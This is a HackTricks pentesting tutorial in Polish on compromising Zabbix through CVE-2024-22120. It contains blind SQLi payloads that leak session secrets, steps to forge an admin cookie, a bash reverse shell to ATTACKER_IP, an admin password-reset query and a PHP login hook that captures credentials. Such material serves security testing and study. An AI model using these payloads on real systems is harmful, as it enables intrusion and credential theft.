Zabbix — Bezpieczeństwo
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
Zabbix to platforma monitoringu udostępniająca web UI (zazwyczaj za Apache/Nginx) oraz komponent serwera, który rozmawia protokołem Zabbix na TCP/10051 (server/trapper) oraz agentem na TCP/10050. Podczas engagements możesz natknąć się na:
- Web UI: HTTP(S) virtual host like zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port: 10050/tcp
Przydatny format cookie: zbx_session jest Base64 skompaktowanego obiektu JSON, który zawiera co najmniej sessionid, serverCheckResult, serverCheckTime i sign. sign jest HMAC ładunku JSON.
zbx_session cookie internals
Nowsze wersje Zabbix tworzą cookie w sposób:
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Jeśli uda Ci się odzyskać globalny session_key i prawidłowy admin sessionid, możesz offline sfałszować ważne Admin cookie i uwierzytelnić się w UI.
CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
Dotknięte wersje (zgodnie z publiczną dokumentacją):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Podsumowanie podatności:
- Gdy Script execution jest zapisywane w logu audytu Zabbix Server, pole clientip nie jest sanitizowane i jest konkatenowane do SQL, co umożliwia time-based blind SQLi przez komponent serwera.
- Można to wykorzystać wysyłając spreparowane żądanie "command" do portu Zabbix server 10051 z ważnym niskoprzywilejowym sessionid, hostid, do którego użytkownik ma dostęp, oraz dozwolonym scriptid.
Warunki wstępne i wskazówki do wykrywania:
- sessionid: Z guest/login w web UI, zdekoduj zbx_session (Base64), aby uzyskać sessionid.
- hostid: Obserwuj przez zapytania web UI (np. Monitoring → Hosts) lub przechwyć z proxy; częsty domyślny to 10084.
- scriptid: Tylko skrypty dozwolone dla bieżącej roli zostaną wykonane; zweryfikuj to, przeglądając menu skryptów/odpowiedzi AJAX. Domyślne jak 1 lub 2 są często dozwolone; 3 może być odrzucone.
Przebieg eksploatacji
- Wywołaj insert audytu z SQLi w clientip
- Połącz się do TCP/10051 i wyślij Zabbix framed message z request="command" zawierający sid, hostid, scriptid oraz clientip ustawiony na wyrażenie SQL, które zostanie skonkatentowane przez serwer i ocenione.
Minimalne pola wiadomości (ciało JSON):
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
Pełny wire format to: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Możesz użyć pwntools lub własnego kodu socket, aby to opakować.
- Time-bruteforce secrets via conditional sleep
Użyj wyrażeń warunkowych, aby leak hex-encoded secrets po jednym znaku, mierząc czas odpowiedzi. Przykłady, które działały w praktyce:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak session_id administratora (userid=1) z sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Uwagi:
- charset: 32 hex chars [0-9a-f]
- Wybierz T_TRUE >> T_FALSE (np. 10 vs 1) i mierz wall-clock na próbę
- Upewnij się, że Twój scriptid jest faktycznie autoryzowany dla użytkownika; w przeciwnym razie nie powstanie wiersz audytu i pomiary czasu nie zadziałają
- Sfałszuj cookie Admin
Gdy posiadasz:
- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1
Oblicz:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Ustaw cookie zbx_session na tę wartość i wykonaj GET /zabbix.php?action=dashboard.view, aby zweryfikować dostęp Admin.
Gotowe narzędzia
- Public PoC automatyzuje: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
- Typowe parametry do podania to: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, oraz opcjonalnie znany --admin-sid, aby pominąć brute.
RCE via Script execution (post-Admin)
Mając uprawnienia Admin w UI, możesz uruchamiać zdefiniowane Scripts na monitorowanych hostach. Jeśli agenci/hosty wykonują polecenia skryptów lokalnie, daje to wykonanie kodu na tych systemach (często jako użytkownik zabbix na hostach Linux):
- Szybka weryfikacja: uruchom id, aby potwierdzić kontekst użytkownika
- Przykład reverse shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Ulepszenie TTY (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Jeśli masz DB access, alternatywą dla sfałszowania cookie jest zresetowanie hasła Admin do udokumentowanego bcrypt dla "zabbix":
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Przechwytywanie poświadczeń poprzez login hook (post-exploitation)
Jeśli na serwerze web UI możliwy jest zapis plików, możesz tymczasowo dodać fragment logujący do /usr/share/zabbix/index.php wokół bloku logowania opartego na formularzu, aby przechwycić poświadczenia:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Użytkownicy uwierzytelniają się normalnie; odczytaj /dev/shm/creds.txt później. Usuń hook po zakończeniu.
Pivoting to internal services
Nawet jeśli shell konta serwisowego to /usr/sbin/nologin, dodanie wpisu SSH authorized_keys i użycie -N -L pozwala na local port-forwarding do loopback-only services (np. CI/CD na 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Zobacz więcej wzorców tunelowania: Sprawdź Tunneling and Port Forwarding.
Wskazówki operacyjne
- Zweryfikuj, czy scriptid jest dozwolony dla bieżącej roli (guest może mieć ograniczony zestaw)
- Timing brute może być wolny; przechowaj odzyskany admin sessionid i użyj go ponownie
- JSON wysyłany do 10051 musi być opakowany nagłówkiem ZBXD\x01 i długością w little-endian
Źródła
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.